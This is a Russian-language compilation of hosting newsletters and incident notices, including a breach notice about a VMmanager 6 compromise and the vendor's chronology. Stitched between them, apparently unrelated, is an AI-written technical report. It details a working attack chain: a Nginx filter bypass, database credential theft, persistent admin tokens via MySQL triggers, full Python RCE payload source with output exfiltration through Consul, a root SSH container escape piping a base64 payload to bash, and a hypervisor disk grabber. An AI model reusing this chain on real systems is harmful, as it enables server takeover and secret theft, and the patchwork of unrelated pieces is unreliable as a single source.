Внедрение TPU Google в облачную инфраструктуру Oracle



По мере масштабирования рабочих нагрузок ИИ во всех отраслях организациям необходимы вычислительные ресурсы, оптимизирующие пропускную способность, задержку и экономичность на протяжении всего жизненного цикла ИИ. Для удовлетворения этого спроса Oracle и Google Cloud объединяют усилия, чтобы предоставить процессоры Google Tensor Processing Units (TPU) для инфраструктуры Oracle Cloud Infrastructure (OCI), сделав OCI первым гипермасштабируемым провайдером за пределами Google, предлагающим TPU. Совместно мы начнем развертывание мощностей TPU на OCI начиная с 2027 календарного года.

TPU: Совместная разработка от кремниевой микросхемы до программного обеспечения.
Компания Google создала свой первый TPU более десяти лет назад, основываясь на четкой концепции продукта: совместная разработка специализированных микросхем с оптическими сетями, системами питания, жидкостным охлаждением и программным обеспечением компилятора обеспечивает прирост производительности на ватт и снижение общей стоимости владения, чего не могут достичь отдельные компоненты.

TPU v1 обеспечивал в 30 раз большую пропускную способность на ватт по сравнению с современными процессорами. Сегодня TPU используются для обучения и обслуживания Gemini в продуктах Google, насчитывающих миллиард пользователей, а TPU восьмого поколения обеспечивают до 12,6 PFLOPS нативных вычислений FP4 на чипе, что более чем в 100 раз превышает 92 TFLOPS у TPU v1 и в 2 раза повышает производительность на ватт по сравнению с предыдущим поколением. Однако одних только FLOPS недостаточно для определения экономической эффективности как обучения, так и вывода. Для обучения определяющим показателем является пропускная способность; процент времени, которое кластер тратит на продуктивные вычисления. Для вывода определяющими показателями являются задержка и стоимость на токен. TPU решают обе эти задачи за счет совместного проектирования на системном уровне.

Благодаря сочетанию внутрикристальной маршрутизации межсоединений (ICI) с оптической коммутацией каналов (OCS), плоскость управления обнаруживает аппаратные сбои или ухудшение качества связи и динамически перенаправляет оптические пути в обход неисправностей в режиме реального времени без перезапуска заданий, поддерживая пропускную способность более 97% на тысячах микросхем в крупномасштабных обучающих циклах и обеспечивая высокую доступность для обслуживания в производственной среде. Увеличенный объем SRAM на кристалле, большая емкость HBM и новая топология межсоединений малого диаметра, сокращающая количество сетевых переходов более чем на 50%, позволяют процессорам TPU последнего поколения обеспечивать до 80% лучшую производительность на доллар при обслуживании с низкой задержкой.

Эффективность аппаратного обеспечения приводит к ускорению разработки продукта, когда разработчики могут легко его внедрить. Наши недавние заявления на конференции PyTorch подтверждают наше стремление сделать программную экосистему Google TPU открытой и удобной для разработчиков средой для сообщества PyTorch. В частности, TorchTPU, наш собственный стек PyTorch для Google TPU, теперь доступен в качестве открытого исходного кода на GitHub. Теперь вы можете обучать, запускать и развертывать модели на TPU, используя уже используемые вами инструменты, включая vLLM, SGLang, llm-d, TorchTitan, Ray, TorchRec, Hugging Face, LiteRT.

Эта возможность переноса позволяет командам назначать каждую рабочую нагрузку акселератору, обеспечивающему наименьшую стоимость за токен или самое быстрое время обучения, без переписывания кода модели. А благодаря сегодняшнему объявлению, вскоре они смогут назначать эти рабочие нагрузки TPU в инфраструктуре Google Cloud или Oracle.

Расширение экосистемы инфраструктуры ИИ с помощью OCI
Даже несмотря на растущее внедрение TPU в Google Cloud, глобальный спрос на вычислительные ресурсы для ИИ превышает возможности любого отдельного облачного провайдера. Внедрение TPU в OCI предоставляет клиентам четыре существенных преимущества:
  • Центры обработки данных, спроектированные для высокой плотности ИИ: системы TPU от Google разработаны для прямого жидкостного охлаждения в масштабе стоек, и центры обработки данных следующего поколения OCI созданы именно для этого профиля. Oracle предоставляет гибкие и надежные мощности, которые могут переключаться между обучением моделей на переднем крае вычислений и выводом результатов в производственной среде в зависимости от меняющегося спроса клиентов. Сочетание эффективности TPU с инновационными подходами Oracle к электропитанию и охлаждению помогает быстро и в глобальном масштабе вводить в эксплуатацию энергоэффективные вычислительные мощности для ИИ.
  • Безопасная высокопроизводительная сеть с Oracle Acceleron: пока TPU передают трафик между чипами через ICI и OCS, Oracle Acceleron обеспечивает сетевую основу, соединяющую мощности TPU с остальной частью OCI. SmartNIC Acceleron с изоляцией арендаторов на аппаратном уровне, высокопроизводительной коммутационной матрицей и маршрутизацией пакетов с нулевым доверием обеспечивает передачу данных между базами данных Oracle, хранилищами и кластерами TPU с высокой пропускной способностью и низкой задержкой, не перегружая вычислительные ресурсы хостов и не ослабляя границы безопасности.
  • Близость к корпоративным данным: базы данных Oracle часто являются основной системой учета для крупных организаций. Предложение TPU непосредственно в OCI позволяет организациям проводить тонкую настройку и вывод результатов рядом с существующими корпоративными данными без дорогостоящих межоблачных переносов.
  • Возможность выбора различных архитектур: Предоставление TPU наряду с GPU в OCI дает командам гибкость в назначении оптимального ускорителя для каждого этапа рабочей нагрузки ИИ с учетом стоимости и производительности.

Благодаря интеграции вычислительных блоков Google TPU в облачную инфраструктуру Oracle, Google Cloud и Oracle открывают доступ к более чем десятилетнему опыту разработки специализированных систем искусственного интеллекта для более широкой экосистемы разработчиков. Когда у клиентов появляется больше вариантов специализированных вычислительных ресурсов в различных облачных средах, вся отрасль развивается быстрее и работает эффективнее. Мы с нетерпением ждём, что вы создадите.

Установите последнее обновление DNSmanager 6



Мы выпустили обновление для DNSmanager 6. Оно включает исправления безопасности, устранение ошибок и ряд улучшений архитектуры платформы. Рекомендуем незамедлительно применить его.

В текущих реалиях обновление не формальность, а необходимая мера для защиты вашей инфраструктуры. Вам требуется обновиться до актуальной версии:
DNSmanager 6 — v6.5.3.

Мы также призываем всегда поддерживать продукты в актуальном состоянии: регулярные обновления не только расширяют функциональность, но и закрывают известные уязвимости, а также повышают устойчивость и надежность систем.

Если у вас возникнут вопросы по установке или работе продукта, обратитесь в техническую поддержку. Мы поможем.

Благодарим за понимание!

В начале 2027 года мы выводим из эксплуатации наш дата-центр NLDW2 в Налдвейке



В начале 2027 года мы выводим из эксплуатации наш дата-центр NLDW2 в Налдвейке. Расположенные там же выделенные серверы будут отключены.

На данный момент предложение распространяется на серверы, перечисленные ниже: NLDW2.V1

Что мы вам предлагаем
Вы заменяете сервер NLDW2 на VPS на нашей новой платформе? Тогда вам больше не придется платить за старый сервер до 12 января 2027 года. Это даст вам время для миграции в удобное для вас время без двойных затрат.

Вы оплачиваете сам VPS. Мы рекомендуем стандартный вариант: 4 виртуальных процессора / 16 ГБ оперативной памяти / 320 ГБ дискового пространства. Это стоит 43,16 евро в месяц, включая 1 IP-адрес для доступа в интернет (без учета дополнительных IP-адресов).

Вот как это работает.
  • Шаг 1: Зарегистрируйтесь для получения предложения до 15 декабря 2026 года, отправив письмо на support@worldstream.com
  • Шаг 2: Создайте VPS на portal.worldstream.com
  • Шаг 3: Сообщите нам, какой сервер NLDW2 он заменяет, в течение той же недели, когда вы создадите VPS. Вы также можете сделать это по адресу support@worldstream.com
  • Шаг 4: Перенесите свои данные и сервисы со старого сервера на VPS.

Вы хотите создать VPS немедленно? Тогда вы можете отправить заявку на регистрацию и подключение в одном электронном письме.

Обратите внимание: без регистрации до 15 декабря или без подключения в течение той же недели предложение не распространяется на этот сервер. Оплата за ваш старый сервер будет продолжаться в обычном режиме.

Несколько серверов?
Предложение действует на один сервер. Вы подключаете каждый VPS к одному конкретному старому серверу. Таким образом, три старых сервера означают три VPS и три подключения. Вам нужен VPS другого размера? Отправьте запрос в чат, и мы обсудим возможности.

Что произойдет дальше?
13 января 2027 года мы автоматически закроем ваш старый сервер NLDW2. В этот день мы навсегда удалим сервер и все связанные с ним данные. Эта дата фиксирована и не может быть изменена. Поэтому убедитесь, что все ваши данные и сервисы находятся на VPS до 13 января.

Есть вопросы по поводу переключения, VPS или регистрации? Напишите нам по адресу support@worldstream.com Мы будем рады помочь.

Искренне Ваш,
Команда Worldstream

Ollama: как развернуть свою модель и подключить её к приложению



Когда приложение обращается к внешнему API LLM, часть инфраструктурных задач уже решена провайдером: он размещает модель, масштабирует вычисления и поддерживает endpoint. При локальном развертывании модели эти задачи приходится решать самостоятельно.

Здесь на помощь приходит Ollama — это сервис, который позволяет загружать и запускать совместимые модели, а также предоставляет интерфейсы для администрирования — CLI для базового взаимодействия, UI для общения в окне чата и HTTP API для интеграции. Ollama можно использовать на рабочей станции для проверки гипотезы, а затем развернуть на отдельном сервере, к которому обращаются приложения и внутренние пользователи. При этом опыт управления, конфигурации и взаимодействия с моделью будет идентичен.

В этой статье расскажем, как установить Ollama на Linux-сервере, запустить нейросеть и подключить модель к приложению. Но прежде чем переходить к настройке, разберёмся, в каких случаях вообще стоит запускать AI-модель самостоятельно на своём сервере.

1dedic.ru/blog/article/ollama-kak-razvernut-svoyu-model-i-podklyuchit-eyo-k-prilozheniyu

https://firstdedic.ru

Попробуйте новый CLO!



8 сентября мы открыли новую локацию CLO, и это не просто новые мощности или дополнительное оборудование. Мы фактически создали новое облако на современной программно-аппаратной платформе и разместили его в отдельной физической локации дата-центра IXcellerate.

Ваш существующий аккаунт уже перенесён в новую локацию. Ничего дополнительно переносить или настраивать не нужно — просто используйте новый адрес для авторизации: console.clo.ru

В новой локации мы полностью переработали технологическую основу CLO: обновили сетевую архитектуру, перешли на актуальные версии OpenStack и OpenSDN, переписали бэкенд, добавили поддержку DPDK и модернизировали подсистему хранения.

Что это даёт
Больше производительности и надёжности для ваших проектов:
  • — Более высокая производительность сети и хранилища;
  • — Более стабильная работа виртуальных машин и кластеров;
  • — Меньше влияния «шумных соседей» на производительность ваших ресурсов;
  • — Меньше ошибок и зависших операций;
  • — Современная архитектура, рассчитанная на дальнейшее развитие платформы;
  • — Обновлённый и более удобный личный кабинет.

Если у вас возникнут вопросы или понадобится помощь с запуском новых проектов, наша команда поддержки всегда готова помочь.

С уважением, команда CLO

https://console.clo.ru/sign/up/

Инцидент безопасности VMmanager 6: что произошло и что делать (20 окт 2026)



В октябре 2026 года злоумышленники атаковали сразу несколько российских хостинг-провайдеров через критическую уязвимость в VMmanager 6 — панели управления виртуализацией от компании ISPsystem (входит в «Группу Астра»). На этой панели работают VPS у нас и у многих других провайдеров. Мы тоже пострадали.

Ваши серверы продолжают работать. Ниже — что произошло, почему, что мы уже сделали и что нужно сделать вам.

Причина: уязвимость в продукте разработчика
Атака стала возможной из-за критической уязвимости в самом программном обеспечении VMmanager 6. Это не ошибка настройки у отдельного провайдера: одна и та же уязвимость была использована одновременно против многих хостинговых компаний.

О взломе через VMmanager 6 публично сообщили FirstVDS, ForestsNet Cloud, MHost, HSH Network и YaColo. Сам разработчик подтвердил инцидент: по словам представителя «Группы Астра», уязвимость была в одной из сборок VMmanager.


Чего до сих пор не сообщил разработчик
На момент публикации ISPsystem не предоставила провайдерам информации, достаточной для уверенного устранения уязвимости и проверки инфраструктуры. Не опубликованы:
  • описание уязвимости и способ первоначального проникновения;
  • идентификатор CVE и список затронутых версий;
  • индикаторы компрометации (IoC): адреса серверов злоумышленников, имена файлов и процессов, признаки закрепления;
  • подтверждение, что выпущенные исправления закрывают уязвимость полностью.
Первое исправление вышло в ночь на 18 октября, затем последовали ещё несколько. По данным других пострадавших провайдеров, разработчик сам не рекомендовал открывать доступ к панели до выхода следующих патчей. Без технических деталей каждый провайдер вынужден восстанавливать картину атаки самостоятельно, по собственным журналам и в общении с коллегами.

Мы направили разработчику запрос на полную техническую информацию и опубликуем её, как только получим. Мы считаем, что ответственность за уязвимость и за своевременное раскрытие сведений о ней лежит на разработчике продукта.

Что могло утечь
Злоумышленники получили доступ к базе данных панели. В ней хранились:
  • список серверов и их IP-адреса;
  • адреса электронной почты учётных записей панели;
  • root-пароли, заданные через панель при заказе, переустановке или смене пароля;
  • пароли VNC-консоли.
У части провайдеров злоумышленники также добрались до узлов виртуализации. Там они запускали программу, которая подключала диски клиентских серверов в режиме только для чтения и искала секреты:
  • SSH-ключи, authorized_keys, хеши паролей, менеджеры паролей, ключи GnuPG;
  • учётные данные облаков и DevOps: AWS, Google Cloud, Azure, Kubernetes, Docker, Terraform, токены GitHub, GitLab и npm;
  • файлы .env, docker-compose.yml, конфигурации приложений и баз данных;
  • криптокошельки, seed-фразы, ключи API бирж;
  • пароли и cookies браузеров, история командной оболочки;
  • API-ключи сервисов ИИ, пароли резервных копий restic и Borg.
Программа работала на уровне инфраструктуры и не запускалась внутри серверов. Поэтому на самом сервере следов её работы нет, даже если данные были скопированы.

На наших узлах следов этой программы мы не нашли, но ввиду отсутствия информации от разработчика не можем полностью исключить её работу.

Что мы сделали
Не дожидаясь полной информации от разработчика, мы провели собственную проверку и закрыли известные нам пути доступа:
  • Закрыли публичный доступ к панели управления сразу после обнаружения атаки.
  • Нашли и заблокировали в обеих наших панелях посторонние учётные записи с правами администратора, созданные злоумышленниками для закрепления. Данные о них сохранены для расследования и переданы разработчику.
  • Установили все исправления, выпущенные ISPsystem.
  • Сменили всё, что хранилось на сервере панели: ключи доступа к узлам, служебные пароли интеграций с биллингом и поддержкой, ключи DNS и резервного копирования.
  • Проверили узлы с клиентскими серверами: файлы, службы, процессы и журналы.

Какие данные не пострадали
По результатам нашего расследования, инцидент не затронул:
  • резервные серверы;
  • персональные данные в биллинге;
  • платёжные реквизиты;
  • любые сервисы, кроме пострадавшей платформы управления виртуализацией.
Здесь сыграло роль разделение этих систем: доступ к части среды управления виртуализацией не открывал доступа к данным о выставлении счетов, учётным записям клиентов и инфраструктуре резервного копирования.

Что нужно сделать вам
Главный риск — что злоумышленники воспользуются украденными паролями и ключами. Сделайте это как можно скорее, даже если на сервере всё выглядит нормально.
  • Криптокошельки — в первую очередь. Если на сервере хранились кошельки или seed-фразы, переведите средства на новые кошельки, созданные на другом, чистом устройстве.
  • Смените root-пароль, если задавали его через панель и с тех пор не меняли.
  • Перейдите на вход по SSH-ключу и отключите вход по паролю.
  • Смените все секреты, хранившиеся на сервере: пароли пользователей и баз данных, SSH-ключи, API-ключи и токены, доступы к облакам, CI/CD, почте, платёжным системам и сервисам ИИ.
  • Отзовите старые ключи, а не просто создайте новые: в облачных консолях, GitHub, GitLab, у платёжных провайдеров.
  • Проверьте сервер: незнакомые пользователи, ключи в ~/.ssh/authorized_keys, задания cron, незнакомые процессы и службы systemd.
  • Проверьте журналы входов на сервере и в сервисах, ключи от которых на нём лежали: нет ли входов с незнакомых адресов после 11 октября.
  • Если на сервере были персональные данные ваших клиентов, проконсультируйтесь с юристом об обязанности уведомить Роскомнадзор.
  • Если у вас есть серверы у других провайдеров, которые работают на VMmanager 6, выполните те же действия и там.

Если нужна помощь
Нашли на сервере что-то постороннее или не уверены? Напишите в поддержку — поможем разобраться и при необходимости переустановим сервер.

Приносим извинения за неудобства, включая время без доступа к панели. Мы будем обновлять эту статью по мере появления информации от разработчика и опубликуем подробный разбор после завершения расследования.

Отчет про VMmanager от ИИ







vmmanager6-rce-analysis.md

# Технический разбор уязвимости и цепочки RCE в VMmanager 6

Документ описывает механику эксплуатации уязвимости в панели управления **ISPsystem VMmanager 6**, позволяющей неавторизованному атакующему получить выполнение произвольного кода (RCE) внутри контейнеров панели, захватить постоянный доступ к API, выйти из Docker-контейнера на хост-сервер под `root` и скомпрометировать узлы кластера виртуализации.

---

## 1. Архитектура маршрутизации и точка входа (`input` / Nginx)

Входящий HTTP/HTTPS-трафик в VMmanager 6 принимает пограничный контейнер `input`, внутри которого работают **Nginx** и **consul-template**. Все микросервисы панели (`auth_v4`, `vm_v3`, `taskmgr_v4`, `installer_v1`, `vault_v4` и др.) регистрируются во внутреннем **Consul**, а `consul-template` динамически генерирует конфигурацию Nginx на основе шаблонов из `/etc/nginx/templates/*.ctmpl`.

Схема прохождения запроса внутри контейнера `input`:

1. Внешний HTTPS-сервер (`443 ssl`, шаблон `/etc/nginx/templates/secure.conf.ctmpl`) проверяет URL на обращение к внутренним служебным сервисам и проксирует трафик на внутренний порт `http://127.0.0.1:1500`.
2. Внутренний сервер на порту `1500` (`/etc/nginx/templates/frontend.conf.ctmpl`) подключает `/etc/nginx/conf.d/backend-api.inc` и `/etc/nginx/conf.d/backend.inc`.
3. В шаблонах `backend-api.inc.ctmpl` и `backend.inc.ctmpl` все не-`GET` запросы (`POST`, `DELETE` и т.д.) перезаписываются с добавлением префикса `/write`:

```nginx
if ($request_method != "GET") {
    rewrite ^(/.*)$ /write$1 last;
}
```

После перезаписи запрос попадает в сгенерированные из Consul `writer`-локации вида:

```nginx
location /write/{{ $service_endpoint }}/ {
    rewrite ^ /write$request_uri;
    rewrite /write/{{ $service_endpoint }}/(.*) /$1 break;
    proxy_pass http://{{$service_name}}_writer_upstream$uri;
    ...
}
```

### Ошибка в правиле фильтрации (`secure.conf.ctmpl`)

Внешний фильтр в `/etc/nginx/templates/secure.conf.ctmpl`, предназначенный для блокировки доступа извне к внутренним неавторизованным микросервисам (`installer/v1`, `taskmgr/v4`, `vault/v4`, `collector/v3` и др.), выглядел следующим образом:

```nginx
if ($uri ~ ^/(api/|writer/)?(collector/v3|hawatch/v3|input|installer/v1|nodewatch/v3|resowatch/v3|taskmgr/v4|vault/v4)(/|$)) {
    return 403;
}
```

В регулярном выражении допущена критическая ошибка: фильтр проверяет префикс **`writer/`**, тогда как реальные внутренние `writer`-маршруты в `backend.inc.ctmpl` и `backend-api.inc.ctmpl` используют префикс **`write/`** (`/write/taskmgr/v4/...`, `/write/installer/v1/...`, `/write/vault/v4/...`), а также не учитывает особенности нормализации путей при проксировании через `http://127.0.0.1:1500`.

В результате внутренние сервисы управления задачами (`taskmgr/v4`), установщиком (`installer/v1`) и хранилищем секретов (`vault/v4`), не имеющие собственной проверки пользовательских сессий на внутренних эндпоинтах, оказались доступны для вызовов извне.

---

## 2. Захват БД и закрепление через `/auth/v4/public/{key,token}`

Получив возможность обращаться к внутренним микросервисам, автоматизированный эксплойт первым шагом запрашивает у сервиса `installer/v1` переменные окружения контейнеров (`POST /installer/v1/docker_env`), выполняя внутри контейнеров команду:

```text
Docker exec. cmd: [printenv DATABASE_PASSWORD], stdin: false
```

Зная `DATABASE_PASSWORD`, атакующий получает прямой доступ к СУБД MySQL (`isp`) и закрепляется в системе авторизации `auth_v4`:

1. **Эксплуатация публичных эндпоинтов `/auth/v4/public/key` и `/auth/v4/public/token`**:
   - В микросервисе `auth_v4` (`etc/permissions.conf.d/public.json`) эндпоинты `/auth/v4/public/key` и `/auth/v4/public/token` открыты для группы `@any` (без авторизации).
   - Штатно `POST /auth/v4/public/key` принимает ключ из таблицы `isp.auth_key` и без пароля и 2FA обменивает его на полноценный сессионный токен (`isp.auth_token`) с правами администратора.
2. **Инъекция «неубиваемых» ключей и токенов в MySQL**:
   - Атакующий добавляет в таблицу `isp.auth_key` десятки ключей с флагом `eternal = 1` и `expires_at = NULL`, а также прописывает бессрочные сессии в `isp.auth_token`.
   - Чтобы администратор панели или штатные механизмы очистки не смогли сбросить эти сессии, в БД `isp` создаются вспомогательные таблицы `task_notify_keep_tokens` и `task_notify_keep_keys`, триггеры `auth_notify_keys` / `auth_notify_touch` и периодическое событие MySQL `auth_token_cleanup` (`EVENT`), которые автоматически восстанавливают удалённые ключи и продлевают время жизни токенов атакующего.

После этого атакующий может обращаться к любым внешним API панели как легитимный суперадминистратор, просто обменивая свои ключи через `POST /api/auth/v4/public/key`.

---

## 3. Механика RCE и эксфильтрации вывода через Consul (`taskmgr/v4`)

Для выполнения произвольных команд внутри контейнеров атакующий использует микросервис очередей задач `taskmgr/v4` (`POST /taskmgr/v4/task`), передавая в параметрах задачи:
- `bin_path`: `"/usr/bin/python3"`
- `bin_args`: `["-c", "<python_payload>", "<base64_cmd>", "<service_name>", "<service_id>", "<result_token>", "110.0", "110.0", "1048576"]`

Задачу подхватывает один из воркеров `/opt/ispsystem/taskmgr/bin/worker`, запущенных внутри контейнеров (`vm_back`, `vm_box`, `auth_back` и др.).

### Проблема возврата результата (Blind RCE -> Interactive HTTP RCE)

Контейнеры `vm_back` / `auth_back` находятся во внутренней Docker-сети за Nginx (`input`) и не торчат наружу. Чтобы получить `stdout`/`stderr` выполненной команды обратно в рамках обычного HTTPS-соединения к панели, авторы эксплойта реализовали динамическую регистрацию обратного маршрута через **Consul**:

1. Python-скрипт декодирует `sys.argv[1]` из Base64 и запускает команду через `/bin/sh -c`, записывая весь `stdout` и `stderr` во временный буфер.
2. Скрипт поднимает внутри контейнера одноразовый HTTP-сервер (`http.server.HTTPServer`) на случайном свободном порту (`0.0.0.0:0`), который отвечает только на путь `/result/<result_token>` и возвращает вывод команды вместе с кастомными заголовками:
   - `X-VMmanager-Result: <result_token>`
   - `X-VMmanager-Exit-Code: <return_code>`
   - `X-VMmanager-Timed-Out: 0|1`
   - `X-VMmanager-Truncated: 0|1`
3. Скрипт отправляет `PUT http://consul:8500/v1/agent/service/register`, регистрируя свой временный HTTP-сервер в Consul как новый микросервис с тегами `["backend", "reader"]` и маскировочным именем (например, `node_notify-1807d68b`, `host_info-a92ab95c`, `input_ee8f14bd846f44568206`).
4. В контейнере `input` демон `consul-template` мгновенно обнаруживает в Consul новый сервис с тегами `backend` и `reader`, **автоматически генерирует для него внешний маршрут `location /<service_name>/` в Nginx** и выполняет `nginx -s reload`.
5. Атакующий снаружи делает обычный запрос `GET https://<panel_host>/<service_name>/result/<result_token>`, забирает вывод команды, после чего Python-скрипт сам дерегистрирует временный сервис из Consul (`PUT /v1/agent/service/deregister/<service_id>`), закрывает сокет и завершает работу, а задача удаляется из таблицы `isp.taskmgr_task`.

### Полный исходный код Python-эксплойта (из `bin_args`)

```python
import base64
import http.server
import json
import os
import signal
import socket
import subprocess
import sys
import tempfile
import time
import urllib.parse
import urllib.request

command = base64.b64decode(sys.argv[1]).decode("utf-8")
service_name = sys.argv[2]
service_id = sys.argv[3]
result_token = sys.argv[4]
command_timeout = float(sys.argv[5])
serve_timeout = float(sys.argv[6])
max_output = int(sys.argv[7])

timed_out = False
with tempfile.TemporaryFile() as capture:
    process = subprocess.Popen(
        ["/bin/sh", "-c", command],
        stdin=subprocess.DEVNULL,
        stdout=capture,
        stderr=subprocess.STDOUT,
        start_new_session=True,
    )
    try:
        return_code = process.wait(timeout=command_timeout)
    except subprocess.TimeoutExpired:
        timed_out = True
        os.killpg(process.pid, signal.SIGKILL)
        return_code = process.wait()
    capture.seek(0)
    output = capture.read(max_output + 1)

truncated = len(output) > max_output
if truncated:
    output = output[:max_output]
if timed_out:
    output += ("\n[probe: command exceeded %.1f seconds]\n" % command_timeout).encode()
effective_return_code = 124 if timed_out else return_code

expected_path = "/result/" + result_token
check_id = "service:" + service_id

class ResultHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if urllib.parse.urlsplit(self.path).path != expected_path:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(output)))
        self.send_header("X-VMmanager-Result", result_token)
        self.send_header("X-VMmanager-Exit-Code", str(effective_return_code))
        self.send_header("X-VMmanager-Timed-Out", "1" if timed_out else "0")
        self.send_header("X-VMmanager-Truncated", "1" if truncated else "0")
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(output)
        self.wfile.flush()
        self.server.result_delivered = True

    def log_message(self, _format, *_args):
        return

class ResultServer(http.server.HTTPServer):
    allow_reuse_address = True

server = ResultServer(("0.0.0.0", 0), ResultHandler)
server.timeout = serve_timeout
server.result_delivered = False

route_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    _consul_ip = socket.getaddrinfo("consul", 8500, socket.AF_INET)[0][4][0]
    route_socket.settimeout(8)
    route_socket.connect((_consul_ip, 8500))
    service_address = route_socket.getsockname()[0]
finally:
    route_socket.close()

registration = json.dumps({
    "ID": service_id,
    "Name": service_name,
    "Tags": ["backend", "reader"],
    "Address": service_address,
    "Port": server.server_address[1],
    "Check": {
        "CheckID": check_id,
        "Name": service_name + " temporary result route",
        "TTL": "30s",
        "Status": "passing",
        "DeregisterCriticalServiceAfter": "1m",
    },
}).encode()

import signal as _wsignal
def _walarm(_sig, _frm):
    raise SystemExit(124)
_wsignal.signal(_wsignal.SIGALRM, _walarm)
_wsignal.alarm(int(serve_timeout + 90))

def consul_put(path, data=b""):
    request = urllib.request.Request(
        "http://consul:8500" + path,
        data=data,
        method="PUT",
        headers={"Content-Type": "application/json"},
    )
    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
    with opener.open(request, timeout=5) as response:
        response.read()

registered = False
try:
    consul_put("/v1/agent/service/register", registration)
    registered = True
    deadline = time.monotonic() + serve_timeout
    next_heartbeat = 0.0
    while not server.result_delivered and time.monotonic() < deadline:
        if time.monotonic() >= next_heartbeat:
            consul_put("/v1/agent/check/pass/" + urllib.parse.quote(check_id, safe=""))
            next_heartbeat = time.monotonic() + 10.0
        server.timeout = min(1.0, max(0.1, deadline - time.monotonic()))
        server.handle_request()
finally:
    server.server_close()
    if registered:
        try:
            consul_put("/v1/agent/service/deregister/" + urllib.parse.quote(service_id, safe=""))
        except Exception:
            pass

if not server.result_delivered:
    raise SystemExit(124)
if timed_out:
    raise SystemExit(124)
raise SystemExit(effective_return_code if 0 <= effective_return_code <= 125 else 1)
```

---

## 4. Побег из Docker-контейнера на хост панели (`Container Escape`)

Поскольку `taskmgr_worker` выполняется внутри непривилегированного контейнера, для выхода на саму хост-систему под `root` используется архитектурная особенность демона установщика VMmanager (`/usr/local/bin/vm`):

1. На хосте от имени `root` запущен системный сервис `vm.service` (`/usr/local/bin/vm`), который слушает Unix-сокет `/opt/ispsystem/vm/socket/service.sock`. Этот сокет проброшен внутрь контейнеров (`vm_box`, `forward_proxy`, `updater`) и обслуживает внутренний сервис `installer/v1`.
2. В бинарнике `/usr/local/bin/vm` (модуль `installer/internal/ssh/authorized_keys.go`) реализован метод `/ssh_key` (штатно предназначенный для функции «Разрешить доступ техподдержке ISPsystem»). При вызове этого метода демон на хосте записывает переданный публичный SSH-ключ в `/root/.ssh/authorized_keys` (и `/etc/ssh/ispsystem.pub`) и выполняет `systemctl restart sshd`.
3. Атакующий вызывает этот метод, прописывая на хост свой сгенерированный ключ `ssh-ed25519` с комментарием `vm-support-check`.
4. Далее каждая задача внутри контейнера сохраняет приватный ключ во временный файл `/tmp/.hk` и выполняет команды напрямую на хосте через IP-адрес Docker-моста (`root@172.18.0.1`):

```bash
echo <BASE64_OPENSSH_PRIVATE_KEY> | base64 -d > /tmp/.hk
chmod 600 /tmp/.hk
ssh -o BatchMode=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 \
    -i /tmp/.hk -T root@172.18.0.1 'echo <BASE64_HOST_PAYLOAD> | base64 -d | bash'
rc=$?
rm -f /tmp/.hk
exit $rc
```

---

## 5. Пост-эксплуатация и компрометация узлов кластера (KVM-нод)

Получив `root` на хосте панели управления:

1. **Закрепление на хосте панели**:
   - Атакующий по частям (чанками по 65 КБ в `/tmp/.gb/c0000`..`c0150`) загружает на хост панели свои бинарные файлы, запускает процесс из памяти (`memfd_create` — `/memfd:bpfit (deleted)`) и создаёт фальшивые `systemd`-сервисы (`node-collect-svc.service`, `vm-mond.service`, `isp-stats-svc.service`).
   - В `/opt/ispsystem/vm/patch_*.yaml` прописывается `docker-compose`-оверлей, монтирующий скрипт с хоста в `/etc/my_init.d/` контейнера БД (`mysql`), чтобы при каждом перезапуске контейнера БД триггеры и вечные токены создавались заново.
2. **Атака на узлы кластера (гипервизоры)**:
   - Из таблицы `isp.vm_ssh_keys` (или через сервис `vault_v4`) извлекается приватный SSH-ключ кластера, по которому панель управляет всеми подключёнными KVM-узлами.
   - Также используется штатный механизм выполнения скриптов на узлах (`isp.vm_node_script` / задачи `ssh_run_node_script` в `taskmgr`).
   - На все узлы кластера копируется бинарник скрытого граббера под видом системного компонента QEMU (`/usr/libexec/.qemu-kvm-helper`), который в фоновом режиме инспектирует диски виртуальных машин из `/vm/` (через прямое чтение образов или `qemu-nbd`) в поисках приватных ключей, конфигурационных файлов, `.env` и кошельков, складывая результаты во временный буфер `/var/cache/.qkvc-<node_id>` для последующей выгрузки.

Атака на VMmanager 6 Hosting — разбор инцидента и хронология расследования



В середине октября инфраструктура нескольких десятков хостинг-провайдеров, использующих в своей ИТ-инфраструктуре VMmanager 6 Hosting, столкнулась со скоординированной многоэтапной атакой. Злоумышленники использовали уязвимости, которые с поправкой на специфику технических и бизнес-процессов хостинг-провайдеров увеличили поверхность атаки и привели к компрометации данных конфигурации, секретов и пользовательских файлов у ряда клиентов.

При взаимодействии с заказчиками и партнерами команда разработки ISPsystem в кратчайшие сроки начала расследование и устранение инцидента безопасности. В частности, было установлено, что атака на VMmanager 6 велась с помощью специализированных ИИ-инструментов. Уязвимости, которые эксплуатировались в ходе атаки, закрыты. Работа по изучению инцидента продолжается, чтобы исключить другие возможные векторы и установить все обстоятельства произошедшего.

Что произошло
14.10.2026 в 00:40 (МСК) в службу технической поддержки поступило обращение от одного из хостинг-провайдеров — в его инфраструктуре была обнаружена подозрительная активность на серверах под управлением VMmanager 6 Hosting.

Сразу после этого команда ISPsystem оперативно инициировала совместное с хостинг-провайдерами расследование инцидента, однако на момент начала реагирования не было достоверно установлено, что именно является точкой входа — платформа VMmanager 6 Hosting или инфраструктура провайдера. В дальнейшем анализ ситуации показал, что первые следы проникновения были зафиксированы у некоторых клиентов 12.10.2026. Также об этом свидетельствуют обсуждения пользователей в профильных сообществах социальных сетей.

По информации от провайдеров было выдвинуто предположение, что злоумышленник проник в инфраструктуру через уязвимость в ISO-образе, верифицированную в рамках программы Bug Bounty 09.10.2026. Иными словами, подобная ошибка предполагает наличие первичного пользовательского доступа, который можно получить, фактически просто купив виртуальную машину у хостинг-провайдера. Команда работала над ее исправлением. Усиление безопасности требовало определенных архитектурных доработок, поэтому релиз новой версии платформы был запланирован на 15.10.2026.

